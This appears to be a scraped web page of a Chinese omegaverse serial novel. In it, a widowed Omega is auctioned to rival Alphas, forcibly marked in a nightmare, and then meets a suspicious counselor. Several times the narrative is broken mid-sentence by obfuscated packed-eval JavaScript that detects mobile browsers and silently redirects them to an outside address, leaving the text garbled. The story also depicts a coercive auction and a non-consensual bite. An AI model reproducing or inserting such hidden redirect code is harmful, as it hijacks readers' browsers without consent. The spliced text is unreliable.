l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950835|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最醒目的包间位置响起。
“无聊。”
江敛甚至没有看台上的奚亭,也没有看同在二楼的夏。他垂着眼,专注地转动着左手小指上那枚戒指。
那是一枚婚戒。
他没有去看这场汇集了无数欲望的盛会,也没有去看台上那个引发这一切的、曾经被他兄长如珠如宝捧在手心的人。
他停下转戒指的动作。
“跟我走,我给你寰宇科技百分之五的股份。”
声音不大,语气平淡,可那短短几个字落在场内,却像投入深潭的巨石,激起的不是浪花,而是死寂般的骇然。
寰宇科技……江家立足的根基,真正的高科技核心与财富象征,其股份从不外流,是比任何不动产都更珍贵的、代表无尽权力的硬通货。
百分之五,意味着每年无法估量的分红,更是进入最顶尖圈层的隐形门票。同时,这还有另一种含义——将台上这个Omega,以一种更紧密、更无法剥离的方式,重新与江家绑定。
即使不再是“江凛的遗孀”,也将永远打上“江家所属”的烙印。
台下响起一片被强行压抑的抽气声。
不仅为这昂贵的筹码,更为说话者的身份。
“不是江家把人送出来拍卖的吗?江敛这样江家没意见?”
“他这是……什么意思?”后排有人按捺不住,用几乎听不见的气音向同伴低语,“江凛才走了多久?他这个当弟弟的,就这么迫不及待……”
“嘘!”同伴急忙制止,眼神却不由自主地瞟向台上那抹白色的身影,又飞快地扫过江敛冷漠的侧脸,眼底闪过一丝复杂的、混合着了然的幽光。
“早就听说他们兄弟……关系也就那样。现在江凛不在了,这位‘嫂子’又这么……引人注目。江敛那个性子,看上什么东西,可不管之前是谁的。”
“江家可能就是看中了这一点,怕出什么丑闻才把人送出来的吧,没想到他敢在这个时候拍卖……”
“看上嫂子?”先开口那人咂舌,声音压得更低,却掩不住其中的兴奋与鄙夷,“江凛要是知道……”
“知道又能如何?人都没了。现在江家是江敛说了算。他拿出寰宇的股份,明面上是给家族‘买回’这个麻烦,挽回江家的名声,实际上……哼,谁知道呢。反正人最后落在他手里,怎么处置,还不是他一句话的事。”
这些窃窃私语如同毒蛇吐信,丝丝缕缕钻进奚亭的耳朵。他原本强撑的平静有一瞬间差点崩塌,身体几不可察地晃了一下。
江敛……江凛的弟弟。
那个总是用挑剔而疏远的目光看着自己,仿佛自己是什么不该出现在江凛身边的瑕疵的弟弟。
那个在江凛葬礼上,站在亲属首位,却连一滴眼泪都没有,只是周身笼罩着骇人低气压的弟弟。
现在,他坐在这里,用江家最核心的资产,来竞拍他兄长的遗孀。
一股冰冷的、带着铁锈味的恶心感猛地冲上奚亭的喉头。
他死死咬住下唇内侧,直到尝到一丝腥甜,才勉强压住那股几乎要让他当场干呕的眩晕。
14. 【笼中雀】
为什么?
是因为江家想要维系体面,所以必须由他这个新任掌权者来“回收”这件江凛的遗物?
还是因为……像那些低语猜测的那样,亡夫的至亲弟弟,居然对自己有不堪的、被压抑已久的情感?
奚亭不敢深想。
他垂下头,黑色的睫毛剧烈地颤抖着,在苍白的脸颊上投下凌乱的阴影。握着戒指的手指收紧,冰凉的金属几乎要嵌进肉里。
他需要这点疼痛,来确认自己还在现实,而不是堕入某个荒诞扭曲的噩梦。
他极其缓慢地,摇了摇头。
台下出价的那么多,他都用沉默表明自己的态度。
这是尽今晚他的第一个明确拒绝。
动作滞涩,仿佛脖子上那个黑色的项圈有千钧之重。
江敛深灰色的眼眸终于抬起,眼神阴鸷,直直地看向奚亭,眼底翻涌着的情绪像暴风雨前堆积的铅云。
为什么不要?
他给的不是施舍,是江家最实在的一部分。是比那个死去的兄长能给予的、更牢固的保障和未来。
江凛能给的他都能给,甚至更多、更好。
他没再开口,只是那目光像燃烧的火焰,牢牢钉在奚亭身上,一瞬不错。
奚亭低头避开了那道目光。
就在这时,谢绥之温润平和的嗓音恰到好处地响起。
“江家的手笔,一如既往地令人叹服。”
他微微颔首,榛褐色的眼眸温和地投向奚亭,那目光里盛满了令人信服的诚恳与理解。
“不过,我想,或许对于经历了变故的可怜人来说,稳定与尊重,比庞大的财富更值得珍视。”
他身体微微前倾,姿态放松而真诚,像一个正在为学生提供最佳建议的导师。
“亭亭,我们认识很多年了,所以请你相信我,我以朋友的名义向你承诺。”
“我愿意将我名下,除家族信托外全部可动用的流动资产与固定资产,转入一个独立的基金,由你完全支配。”
他的声音清晰而平稳,带着一种令人安心的说服力,“同时,我承诺,在完成终身标记之后……”
“我会尊重你的个人意愿、社交自由,包括……不进行违背你意愿的亲密行为或生育要求。”
他给出了财富、自由、尊严——至少在表面上。
他曾以耐心十足的学长身份靠近,用恰到好处的关怀与引导织网,以为终能等到水到渠成,却却没想到最后会被一个“江凛”截胡。
如今,那碍事的烦人家伙终于消失,他愿意给出一个更精致、更体面、也更难挣脱的樊笼。他想得到的,不仅是人,还有那份在绝境中被拯救后,理应产生的感激与依赖。
他要奚亭心甘情愿的归属。
台下传来几声极低的、几乎听不清的嗤笑。
“谢绥之还是这么会……装模作样。”
有人撇嘴,“听起来什么都给了,实际上呢?……Omega终身标记一打上,还不是他说什么就是什么,谈什么尊重?”
“但他至少给出了选择的样子。”另一人低语,眼神复杂,“对于某些走投无路的人来说,有时候反而更致命。”
奚亭抬起了眼。
这一次,他的目光在谢绥之脸上停留了一瞬,也许是因为从未发现尊敬的学长心思的讶异。
可他现在实在无力去想太多。这样诱人的条件也并没有让他产生一点动容,眼中只有一片哀伤底色的平静。
谢绥之脸上的笑容没有丝毫变化,依旧温和得体,甚至对奚亭理解似的轻轻点了点头。
只是他的眸光,几不可察地沉了沉,闪过一丝冷硬的、属于猎食者的微光。
无人再出声竞拍。
空气凝滞。
这个失去了丈夫的庇佑的Omega,他什么都不要。
哪怕他的Alpha已经成了一个死人,他还是不愿意多投一份目光到别人身上。
接连的拒绝,像一记记无声的耳光,抽在那些抛出天价筹码的Alpha脸上。
奉出一切却仍不被接受的Alpha们,仿佛是真心被踩在了脚下般难堪,隐隐开始躁动。
就在拍卖师也感到棘手,额头渗出细密冷汗,不知该如何推进这僵局时,一个声音从后排响起,打破了死寂:
“他到底想要什么?”
那声音不高,却因场内的极静而显得格外清晰,带着毫不掩饰的烦躁。说话的是一个叫席珏的、有着满头璀璨金发的英俊Alpha,显而易见的有着高傲的血统,刚才也曾积极参与竞价,几乎在叫价中给出了自己的一切,却没有换来Omega的一个眼神,此刻脸色格外难看。
“他难道想指望他那个死人老公死而复生,来拯救他吗?”
立刻有人嗤笑着接话,声音不大,却足以让附近几排人听清:
“还能想要什么?拖延时间罢了。他以为只要自己不点头,这场拍卖就永远不会有结果,他就能一直这样……干干净净地站在上面?”
那声音顿了顿,染上更浓的阴郁:
“天真。”
“也不看看这是什么地方,来了些什么人。今夜,总得有个结果。他不选,自然有人替他选。规矩?哈,规矩是给守规矩的人定的。”
等到有些人耐心耗尽,……有的是办法让他变得“自愿”。
这话像滴入热油的冷水,激起了更多低语的附和与心照不宣的视线交换。许多原本还带着些许虚伪矜持的目光,随着这道声音,彻底撕去伪装,变得露骨而危险,像一群逐渐失去耐心的掠食者,开始考虑更直接的方式分割猎物。
奚亭的身体几不可察地颤抖了一下。
那些话揭开最后一层遮羞布,戳破了他勉力维持的最后一丝尊严。
他知道,他们说得对。
所谓的给他“选择”的权利,在绝对的力量面前如玻璃般易碎。
深切的绝望的从身体深处蔓延开来,几乎要将他冻僵在舞展台上。他握着戒指的手指已经僵硬,那点微弱的金属凉意,再也无法提供任何支撑。
可他……除了江凛,不愿意再属于任何人。
就在这时,一道清晰沉稳声音,从会场最后排传来。
“请等一下。”
声音的主人站了起来。那是一个年轻的Alpha,穿着剪裁合体但并不奢华的深色便装,身姿挺拔如松,肩背开阔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950836|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他的面容刚毅,皮肤是常年在野外活动留下的健康麦色,眼神锐利,带着一种历经风霜后的平静与坚定。
他的出现引起了一些侧目打量。
很眼生的Alpha,不曾在上流社会的交际圈中出现过。
年轻Alpha,或者说,这位年轻的军官——没有理会那些目光。他迈步向前,径直穿过过道,走向Omega站着的展台。
他的手里,稳稳地托着一个盒子。
他轻轻放在展示台上,动作轻柔的在奚亭面前打开盒子。
所有人看去。
那是一块怀表。
金色外壳,边角因常年摩挲而圆润光滑,表盖上有一道深刻的划痕,像是某种利器留下的痕迹。边缘处,有几处难以彻底洗净的、浸入金属纹理的暗红色污渍。
没有任何多余的装饰,也不价值连城,甚至还有多处磨损,怎么看都是一块平平无奇的表。
他抬起头,望向站在展台上单薄的身影,眼神很复杂。
“我是林屿宁。”他开口,声音不高,却带着军人的穿透力,清晰地传到每个角落,“曾担任江凛少将的副官。”
这个名字让场内部分人眼神微动。
江凛的副官……那个据说在最后那次任务中,与江凛一同失联,后来又奇迹生还的人。
林屿宁的目光没有从奚亭脸上移开,他字字清晰:“这块怀表,是在少将遇难地附近找到的。当时情况混乱,它掉在碎石和……血污里。少将生前,时常会拿出来看。”
他顿了顿,喉结滚动了一下,似乎回忆起某些画面,眼神暗了暗。
“里面,是您的照片。”
林屿宁看着奚亭瞬间煞白的脸和摇摇欲坠的身体,声音放低了些,却更显沉重:“任务结束,遗体收殓后,我一直想找机会,亲手把它交给您。我觉得……您可能需要它。但江家……”
他没有说完,只是微微摇了摇头,未尽之意已然明了。
江凛殉职后,江家第一时间将他隔绝起来严密看护,这件承载着江凛最后思念的遗物,竟始终无法送到该收的人手中,直到今夜,以这种方式。
“我认为,现在是时候了。我用这块怀表……代江凛少将,参与拍卖。”
林屿宁最后说道。
场内一片死寂。
光束下,奚亭的身体开始无法控制地颤抖。
他的目光死死锁在那块怀表上。
隔着泪水的氤氲,他仿佛能看到江凛的手指无数次摩挲表壳的痕迹,能想象他打开表盖,凝视里面那张小小的、不知道什么时候拍下的自己照片时的眼神。
那些暗红色的污渍……是江凛的血吗?他遇难之前,是否还在看着自己的照片?
一声极其压抑的、从喉咙深处挤压出来的呜咽,骤然打破了寂静。
奚亭猛地抬手捂住了嘴。
那些被强制压抑的恐惧、夜不能寐的思念、对未来的绝望,连同对江凛最后时刻的想象,全都随着这块染血的怀表,化作滚烫的泪水。
没有声音,没有剧烈的颤抖。
许多人怔怔地看着,台上的美人,脸颊和眼尾泛起薄红,无声的落泪。
15. 【笼中雀】
他哭得那样安静。
场内所有的呼吸都下意识放轻了,仿佛怕惊扰一场易碎的梦。
那双一直无波无澜的眼睛被泪水彻底浸透,却因这极致的悲伤而焕发出一种惊心动魄的、破碎的美丽。
整个会场,落针可闻。
只有Omega无法抑制的小小泣声,回荡在穹顶之下。
许多人怔怔地看着,一时竟忘了反应。
这个一直故作坚强、忽视所有人的Omega,终于在今晚第一次展露了他的脆弱。
无声而尖锐的嫉妒,在寂静中疯狂滋长。
不是嫉妒那年轻的军官,而是嫉妒那个已经变成一捧灰、一块墓碑的江凛。
他们看着那不断滚落的、在灯光折射下晶莹剔透滚落的泪珠,看着那被泪水浸润得愈发诱人的脸庞,喉咙发紧,犬齿发痒。
那个死人。
他竟然能在死后,还能拥有这样纯粹、这样滚烫、这样毫无保留的眼泪与悲伤。
还能拥有奚亭的爱。
他凭什么?
凭一块沾血的破表,一张旧照片?
可偏偏就是这些破东西,能让台上对任何人都无动于衷的Omega,瞬间溃不成军,心甘情愿地俯首,只为触碰到亡夫留下的最后一点温度。
这种认知,像毒蛇一样噬咬着某些人的心。他们看向那块怀表的眼神混合着一种扭曲的渴望——渴望自己也能成为被如此铭记、如此深爱的对象,哪怕是以死亡为代价。
江敛的脸色已经阴沉得能滴出水来。他看着奚亭,看着他因为一块属于他兄长的遗物而崩溃,胸口堵着一团狰狞的郁气。
他死死盯着奚亭泪流满面的脸,深灰色的眼底翻涌着连他自己都无法完全辨明的风暴。
谢绥之和夏惯常带笑的脸,也终于沉下来。
林副官依旧站在那里,身姿笔挺,像一尊沉默的雕塑。他看着奚亭的痛哭,眼底有不忍,有痛楚,还有未能掩饰好的怜惜。
不知过了多久。
奚亭抬手,用已经湿透的袖口,胡乱地、用力地擦了擦脸,试图看清眼前的一切。
他的目光,越过模糊的泪眼,再次落在那块怀表上。
然后,他看向了主持人。
他的声音沙哑,气息不稳,带着浓重的哭腔,但那双依旧蓄满泪水的眼睛里,却亮起了一点微弱却异常坚定的光。
“我……”
他吸了吸鼻子,更多的眼泪涌出来,但他没有再去擦。
“我愿意。”
他的目光转向林屿宁,又回到那块怀表上,泪水滑落。
“江凛……”他哽咽着,几乎说不出完整的句子,但意思却无比清晰。
他选择了江凛。
根据规则,此刻的他,的确不需要跟随场上任何一个人离开,因为怀表的主人,是江凛。
也就是说,拍下他的,是江凛。
他抓住了那块怀表,爱惜的放在了胸口,闭上了眼睛。
这是江凛,最后一次,跨越生死,笨拙而坚定地,护住了他。
可随着他的选择,台下的竞拍者们失控了。
他们来到这里,可不是为了看一出生死相随的感人戏码。
被扭曲的嫉妒包裹的Alpha们的信息素,随着失控的情绪在空气中无声地蔓延,形成令人窒息的低气压场。
拍卖场内的工作人员已经脸色发白,冷汗涔涔,几乎站立不稳。
而信息素漩涡的中心,是台上那个,也许刚刚才松了一口气Omega。
诱导素的作用下,奚亭的信息素原本就高度敏感。此刻被充满占有欲和怒意的Alpha信息素从四面八方几乎是攻击性的冲击,腿一软,他差点跪倒在地,勉强用手撑住了展示台的边缘。
带着恶意的信息素朝他身上扑来。
他的脸颊泛起不正常的潮红,呼吸变得急促,蜂蜜色的眼睛蒙上更重的水汽,眼神涣散。丝绸下的身体细微地发抖,后颈的腺体处传来一阵阵灼热和胀痛。
他感到窒息,捂住了自己的口鼻,可是无济于事。
这些信息素告诉他,台下的人随时会把自己撕碎。
事态似乎要发展到不可控的程度。
“够了。”
冰冷的声音响起,不大,却压制出了隐隐失控的Alpha们。
他是这场拍卖会的幕后主人。
他起身,高大的身形在昏暗光线下投下极具压迫感的阴影。薄冰色的蓝眸扫过其他三人,最后落在几乎瘫软的奚亭身上。
“竞价已经结束。根据规则,他的归属已定。”他看向拍卖师,语气不容置疑,“流程继续。”
拍卖师擦了擦额角的冷汗,在即将失控的Alpha中强自镇定:“是……是的。那么,按照约定,拍品奚先生,将归属于……”
他的话没有说完,在看见江敛起身走过来的瞬间止住了,他不明白这位身份显赫的Alpha还要做什么,但还是下意识的收声。
江敛一步步走向展台,靴子敲击地面的声音在寂静中格外清晰。他走得很慢,目光自始至终锁在奚亭身上,像猛兽逼近无法逃脱的猎物。
奚亭下意识地后退,可台上的光紧紧追着他,不管在哪里,他退无可退。
江敛在展台边缘停下,没有上去。他微微仰头,看着台上那个惊慌失措、泪痕未干的Omega。
然后,他扯了扯嘴角,露出一个毫无温度的笑。
“怀表,你拿走。”
他的声音压得很低,旁人几不可闻,但里面淬着某种危险的决心。
“但你……”
他顿了顿,深灰色的眼眸里暗潮汹涌。
“我们慢慢来。”
说完,他不再看任何人,转身,带着一身未散的信息素和骇人的低气压,径直朝出口走去。
夏在二楼包厢轻笑一声,紫罗兰色的眼睛深深看了奚亭一眼,那目光缠绵又危险,如同某种预告。
他也起身离开。
谢绥之维持着一贯的温和表象。
他甚至对台上的奚亭安抚性地笑了笑,仿佛先前的失态从未存在过。
他礼貌地颔首示意,然后从容离席。
身份最高的几个Alpha离开,余下的不甘的客人们也被侍者依次请离拍卖会,凝滞的空气仿佛才重新开始流动。
最后一个人走出拍卖场,整个会场终于彻底空了下来,人群散尽的拍卖场陷入一种诡异的寂静,奚亭才脱力般顺着展示台滑坐在地上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950837|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
……
结束了?
他安全了吗。
他用亡夫的怀表,守住了自己。
但他也知道,这绝不是结束。
可他什么都做不了。
他只有手里这块冰凉的、沾着亡夫血迹的怀表。
他握紧它,把脸埋进膝盖。
眼泪无声地,再次涌出。
奚亭瘫坐在冰冷的地面上,丝袍凌乱,怀表紧紧攥在胸口,指尖因为过度用力与长期的紧张而泛出青白。
哭了一会儿,他的情绪稍微稳定了一些,只剩下细微的劫后余生的生理性颤抖。
浓重的信息素仍未完全散去,像一层看不见的粘稠雾气,贴在他的皮肤上挥散不去。
水晶吊灯的光束依旧惨白地打在展台中央,照着那个蜷缩在地上的身影。
就在这时,脚步声去而复返,沉稳地敲击在深红地毯上,由远及近。
奚亭没有抬头。情绪在短时间内大起大落,他太累了,累到无法做出任何反应,只是维持着蜷缩的姿势,仿佛这样就能安全一些。
阴影笼罩下来,带着顶级Alpha的压迫感。多米尼克去而复返,此刻独自站在他面前,高大的身形几乎完全挡住了光。
这道影子停留的太久,奚亭茫然地抬起眼,睫毛上还沾着未干的湿意,随即在看到人后,那眼神逐渐转为警惕。
多米尼克的态度甚至称得上温和,他没有说话,俯身伸出了手。掌心躺着一把精致小巧的银色钥匙。
他垂眸看着地上那截脆弱的、洁白无瑕的被丝脖颈。黑色项圈紧紧咬住那片雪色,非常碍眼。
多米尼克蹲下身,伸手探向他颈后。
奚亭猛地一颤,下意识想要躲开,却被一只带着黑色皮质手套的手稳稳按住肩膀。那只手力度控制得极好,不重,也不容挣脱。
“别多想。”多米尼克说,一贯冷漠的声音此刻甚至十分温和,“我只是想帮你解开它。你自由了,不是吗?”
他低声诱哄还残存着惊惧,如同惊弓之鸟的小omega:“没人能把你怎么样了,根据规则,你已经用这块怀表……赎回了自己,对吧?放轻松。”
奚亭的眼神有些松动。
钥匙插入锁孔的细微声响在寂静中格外清晰。咔哒一声轻响,紧箍的项圈应声松开,冰冷的皮质边缘离开皮肤,留下了一道淡粉色的勒痕。
骤然解除的束缚让奚亭绷紧的神经有了一瞬间的松懈。他几乎是本能地放松下来,甚至轻轻吐出了一口气。
温柔又礼貌的Omega,有着刻入骨子里的良好的教养,哪怕在这个时刻也不忘记给人道谢。
“谢……啊!”
他的谢意,甚至还没完全说出口。
按在他肩膀上的手骤然发力,将他整个人猛地向后带去。另一只手铁箍般隔着丝锻攥住了他细窄的腰,牢牢的把人扣到自己怀里。奚亭猝不及防,惊叫一声,后背重重撞上地面。
他还没能从那瞬间的粗暴中回过神,脖颈侧面传来微凉的触感——是嘴唇。
紧接着,是陌生的、被贯.穿的疼痛。
犬齿毫不留情地刺穿了柔嫩的皮肤,精准地扎入脆弱的腺体。
“呃啊——!”
16. 【笼中雀】
呜咽声中带着难以置信的崩溃。
奚亭身体的每一寸都在抗拒,在压倒性的力量下却像一条被钉住的任人宰割的鱼。蜂蜜色的眼睛骤然睁大,瞳孔紧缩,里面映出拍卖场穹顶扭曲模糊的光晕。
被……标记了。
不是江凛。
不是他的Alpha。
陌生而冰冷的冷檀气息,野蛮的强行灌入他的身体,一寸寸覆盖丈夫留下的温暖印记,毫不留情地打下新的、充满占有欲欲的标记。
“不……放开……”可Omega怎么能抵抗得了疯狂迷恋他的Alpha的标记呢?
随着标记的深入,奚亭的体力也逐渐消失,身子软下去。
他攥在手心的怀表终于脱力,啪嗒一声掉在冰冷的地面,发出令人心碎的闷响。
他被别人标记了。
他与最后一点与江凛的联系,似乎也随之断裂了。
眼泪汹涌而出。
他失神地望着虚空,身体在过量的陌生信息素冲击下变得滚烫而虚软,竟不由自主地微微战栗着贴近那具同样炽热的身躯。一丝可耻的契合感竟然随着信息素的交融悄然滋生。
这是omega被标记后不能自己控制的天性。
多米尼克似乎察觉到了他身体的软化。
尖锐的犬齿仍嵌在脆弱的腺体中,但灌注信息素的速度却微妙地缓和了一瞬。
按在他腰侧的手指生疏的隔着丝滑的衣料,极其缓慢地、近乎暧昧地隔着丝袍拂过紧绷的皮肤,似乎在试图让omega放松下来。
另一只原本压制他肩膀的手,向上移了几分,指节擦过他湿漉漉的脸颊,仿佛想拂去那些滚烫的泪珠,动作里带着一种生涩的怜惜。
他在试图安慰这伤心的omega,即使这伤害是由他带来的。
然而,这点细微的、带着怜惜的停顿,在下一秒被彻底碾碎。
“江凛……”
奚亭被咬得失焦的瞳孔望着虚空,被泪水浸透的唇瓣吐出几个字。
最无助的时候,他还是下意识喊出那个名字,想要让曾经无所不能的丈夫出来救救他,就像之前的每一次那样。
他哭诉着,被信息素与梗图灼烧的理智让他忘记一切,好像丈夫还在身边,“阿凛……疼、救救我……”
这个名字打破了多米尼克的柔情。
扣在他腰上的手猛地收紧,压在他脖颈上的嘴唇惩罚性地加重了力道,那点温存彻底消失不见。
原本略有缓和的犬齿再次狠狠深钉下去,比之前更凶戾、更彻底,仿佛要凿穿腺体,将那个人留在这里的一切、从身到心都全部搅碎。
更浓郁信息素被强行灌入,惩罚一般冲刷过每一寸被江凛气息浸染过的地方。
“唔——!”
奚亭像离水的鱼般弹动了一下,却只是更深地落入对方的禁锢。猛地灌入的信息素让他开始眩晕了下去,最后一点挣扎的力气也消散了。身体软得不像话,泪腺却像坏掉了一样,泪水流淌过耳侧,与汗湿的额发黏在一起。
过量的信息素使他的视线开始模糊。拍卖场猩红的席位,上方冰冷的水晶吊灯,都在晃动、旋转。
彻底失去意识的前一秒,他在晃动的泪光中看见一只骨节分明、青筋暴起的拳头,狠狠砸向了多米尼克的侧脸。
去而复返的江敛,神色因怒火甚至显出几分狰狞,拳头与骨头撞击的闷响,骨骼承受重击的脆声,同时炸开在奚亭朦胧的耳畔。
他眼前一黑,彻底失去了意识。
*
奚亭睁开眼,大口喘气。
枕头上温热一片,是他睡梦中流出的眼泪,紧贴着颈后的皮肤。
他缓慢地眨了眨眼,意识到自己终于回到现实,睫毛沉重,呼吸仍然带着哽咽。
梦里尖锐的刺痛太过真实,此刻脖颈侧面那块皮肤还在隐隐发烫,仿佛真的被利齿刺穿过,留下了看不见的标记。
他抬手,指尖颤抖着摸索到颈侧。
光滑的,没有伤口,没有咬痕。
他蜷缩起来,把脸埋进残留着泪痕的枕头,试图用黑暗包裹住自己,但身体还是止不住地细细发抖。
拍卖场猩红的地毯,那些黏腻目光,众人晦暗的的喁喁私语,最后被强迫标记的疼痛……画面一帧帧在脑海闪回,他努力想要忘记。
门被轻轻敲响了两下,然后推开。
奚亭没有动,只是把脸埋得更深。
脚步声走近,在床边停下。他能感觉到哥哥的视线落在自己身上。
“小亭?”奚行的声音比平时低,应该是刚醒不久。
奚亭依旧没动,也没应声。他不想让哥哥看见自己这副样子。
很狼狈,只因为一个噩梦就变成这样。
床垫微微下陷,奚行在床边坐了下来。没有立刻碰他,只是安静地坐着。
过了一会,一只手很轻地落在他露在被子外的头发上,指尖穿过微凉潮湿的发丝,动作带着惯有的小心翼翼的温柔。
“做噩梦了吗?”奚行问,手指很轻地顺着他的头发,像在安抚一只情绪不佳的猫,声音低沉,带着关心,“我在隔壁,好像听见你在哭。”
感受到温柔的触碰,奚亭鼻尖一酸,差点又掉下泪来,那是梦中的情绪在干扰他。在拍卖台上的他,是多么希望他的“爱人”一如往常的陪伴在身边,安慰他。
梦中的爱人叫什么?
……lin?
梦中的人脸和名字总是模糊,他不再想下去,摇了摇头,声音闷在枕头里:“没……没有。别担心,哥哥,我只是没睡好。”
“转过来我看看。”奚行的声音温柔但不容拒绝。
奚亭和他僵持了几秒。
被哥哥打了个岔,他现在已经从残存的浓郁情绪中缓了过来,但他能想到自己现在是多么的狼狈,所以还是不情愿哥哥看到自己的样子。
可胳膊拗不过大腿,他最终还是慢吞吞地,极其不情愿地,从枕头里转过脸。
晨光从窗帘缝隙漏进来一点,刚好照亮他半边脸颊。皮肤哭过后又被捂起来,此刻整张脸都泛着一层粉光。眼下有淡青色的阴影,睫毛湿漉漉地粘在一起,眼眶和鼻尖都泛着明显的红。
那双总是害羞或含笑的蜂蜜色眼睛,此刻蒙着一层未散的水汽,瞳孔有些涣散,眼底尚存
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950838|193071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一点被迫袒露自己的羞耻。
嘴唇被自己咬得颜色粉润润的。
他就这样仰着脸,看着奚行,眼神像是找不到方向的小动物,湿漉漉的,带着不自知的依赖和一点点未褪的委屈。
奚行的呼吸几不可察地重了一瞬。镜片后的目光深沉地落在奚亭脸上,从他湿润的眼睛,到泛红的鼻尖,再到那看起来异常柔软的嘴唇。他放在弟弟被子的手指无意识的攥紧又松开,想要握住什么。
他伸出手,没有去碰奚亭的脸,而是克制的用指背极轻的,碰了碰奚亭的额头。
“有点热。”
他低声说,“是不是闷着了?”
这个触碰很轻,一触即分。
奚亭垂下眼,避开哥哥过于专注的视线,摇了摇头:“真的没事……可能就是最近有点累。”他试图坐起来,动作有些虚软。
奚行立刻伸手扶住他的胳膊,帮他稳住身体。那只手隔着薄薄的睡衣布料,能清晰感觉到手下臂膀的纤细和细微的颤抖。他没有立刻松开,停顿了一下,掌心传来的温度和颤抖让他眉头蹙起。
“你这个样子,不像是没事。”奚行看着他,语气放得更缓,“和哥哥说说,梦到什么了?还是……学校里有人让你不舒服了?”
他的目光扫过奚亭下意识又去摸颈侧的手,眼神微暗。
“没有!”奚亭立刻否认。他不想让哥哥知道那些混乱不堪的梦境,更不想让他为自己莫须有的烦恼操心。
“真的就是普通的噩梦……可能,可能是最近要交的论文有点难,压力有点大。”他胡乱找了个借口,试图让自己的表情看起来更轻松些,甚至挤出一个笑,“哥哥你别担心,我一会儿就好了。你快去忙你的吧,不是说今天早上还有会?”
奚行没动,依旧看着他。他看得出奚亭在撒谎,但他更知道弟弟看似柔软,骨子里却有种别扭的倔强,不想说的时候,怎么问都没用。
他沉默了片刻,最终几不可闻地叹了口气。扶在奚亭胳膊上的手缓缓松开,转而帮他拉了拉滑下去的薄被,仔细地掖好被角。
“早餐在楼下温着,记得吃。”奚行站起身,阳光将他挺拔的身影拉长,笼罩住弟弟单薄的身形。“如果还是不舒服,别硬撑,随时联系我。不要……”
他又深深看了奚亭一眼,似乎想再说什么,但最终还是什么都没说,转身离开了房间,轻轻带上了门。
房间里重新安静下来。
奚亭抱着膝盖,坐在床上发了很久的呆。
或许他真的需要一个心理医生。那些梦太真实,太消耗心神了。他需要一些专业的解释,或者至少,需要有人告诉他,这真的只是压力导致的幻象,而不是别的什么更离奇糟糕的事情。
他深吸一口气,拿过床头的手机,登录学院内网,找到了心理健康服务中心的预约界面。流程很简单,匿名或实名都可以,他犹豫了一下,选择了实名。
艾瑟伦学院对于学生的心理状态也很关注,仅仅几秒钟后,页面弹出确认信息:【预约成功。时间:今日下午三点。地点:心理咨询中心203室。】
看着那个编号,奚亭心里稍微安定了一点。
17. 心理咨询
下午两点五十五分,奚亭站在心理咨询中心三室的门外。走廊安静空旷,特意安排的暖色墙壁和柔和的灯光让人不自觉放松。他深吸一口气,敲了敲门。
“请进。”里面传来温和的男声,有些耳熟。
奚亭推开门,愣了一下。
房间里同样是是暖色调的布置,为了让来访者保持愉悦轻松的心情,沙发柔软,绿植生机勃勃。
而坐在单人沙发椅上,正点燃能舒缓人神经的香薰的人,竟然是才见过的戏剧社社长,S级的谢绥之。
他没穿学院制服的衬衫,比初见时要更随和亲切。
他脸上一贯带着令人如沐春风的微笑,榛褐色的眼睛温和地望过来,似乎对奚亭的出现并不意外。
“谢学长?”奚亭站在门口,有些迟疑,“我是不是走错了?我预约的是……”
“没有走错,奚亭同学。”谢绥之站起身,笑容不变,举止从容。他拿起一旁小几上的电子版,将屏幕展示给他看。
上面是工作证件界面,照片是谢绥之本人,下面清晰地写着:【艾瑟伦学院心理健康服务中心·特聘心理咨询师·谢绥之 】。
旁边还有学院和几个专业机构的认证徽标。
“学院鼓励学生进行志愿服务,加学分。”谢绥之解释道,“我恰好有相关的资质。今天又恰好看到预约列表,发现是你的名字。”
他顿了顿,目光坦诚地看着奚亭,“我想,如果是认识的人,或许你更容易放松一些,建立信任也能更快些。当然。”
他善解人意的补充,将选择权完全交给奚亭,“这只是我的建议。如果你觉得熟悉的人会让你觉得不适,更倾向于由别人来进行沟通的话,我可以立刻帮你联系中心,转接到其他资深咨询师那里。这完全取决于你的个人意愿。”
他的解释合情合理,态度专业又体贴。
